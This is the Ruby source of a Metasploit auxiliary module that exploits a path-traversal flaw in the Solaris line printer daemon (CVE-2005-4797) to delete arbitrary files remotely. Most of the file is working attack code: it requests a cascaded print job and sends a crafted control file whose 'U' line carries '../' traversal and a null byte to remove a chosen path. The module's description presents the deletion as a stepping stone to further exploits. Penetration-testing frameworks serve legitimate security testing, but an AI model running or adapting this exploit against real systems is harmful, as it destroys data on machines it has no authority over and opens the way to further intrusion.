metasploit-framework/modules/auxiliary/dos/solaris/lpd/cascade_delete.rb

113 lines
3.3 KiB
Ruby

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::Tcp
include Msf::Auxiliary::Dos
def initialize(info = {})
super(update_info(info,
'Name' => 'Solaris LPD Arbitrary File Delete',
'Description' => %q{
This module uses a vulnerability in the Solaris line printer
daemon to delete arbitrary files on an affected system. This
can be used to exploit the rpc.walld format string flaw, the
missing krb5.conf authentication bypass, or simply delete
system files. Tested on Solaris 2.6, 7, 8, 9, and 10.
},
'Author' => [ 'hdm', 'Optyx <optyx[at]uberhax0r.net>' ],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2005-4797' ],
[ 'BID', '14510' ],
[ 'OSVDB', '18650' ],
[ 'URL', 'http://sunsolve.sun.com/search/document.do?assetkey=1-26-101842-1'],
]
))
register_options(
[
Opt::RPORT(515),
OptString.new('RPATH', [ true, "The remote file path to delete"]),
], self.class)
end
def run
r_hostname = Rex::Text.rand_text_alpha(rand(8)+1)
r_user = Rex::Text.rand_text_alpha(rand(8)+1)
r_spool = Rex::Text.rand_text_alpha(rand(8)+1)
# Create a simple control file...
control = "H#{r_hostname}\nP#{r_user}\n";
# The job ID is squashed down to three decimal digits
jid = ($$ % 1000).to_s + [Time.now.to_i].pack('N').unpack('H*')[0]
# Establish the first connection to the server
sock1 = connect(false)
# Request a cascaded job
sock1.put("\x02#{r_hostname}:#{r_spool}\n")
res = sock1.get_once
if (not res)
print_status("The target did not accept our job request command")
return
end
# Theoretically, we could delete multiple files at once, however
# the lp daemon will append garbage from memory to the path name
# if we don't stick a null byte after the path. Unfortunately, this
# null byte will prevent the parser from processing the other paths.
control << "U" + ("../" * 10) + "#{datastore['RPATH']}\x00\n"
dataf = Rex::Text.rand_text_alpha(100)+1
print_status("Deleting #{datastore['RPATH']}...")
if !(
send_file(sock1, 2, "cfA" + jid + r_hostname, control) and
send_file(sock1, 3, "dfa" + jid + r_hostname, dataf)
)
sock1.close
return
end
print_status("Successfully deleted #{datastore['RPATH']} >:-]")
sock1.close
end
def send_file(s, type, name, data='')
s.put(type.chr + data.length.to_s + " " + name + "\n")
res = s.get_once(1)
if !(res and res[0] == ?\0)
print_status("The target did not accept our control file command (#{name})")
return
end
s.put(data)
s.put("\x00")
res = s.get_once(1)
if !(res and res[0] == ?\0)
print_status("The target did not accept our control file data (#{name})")
return
end
print_status(sprintf(" Uploaded %.4d bytes >> #{name}", data.length))
return true
end
end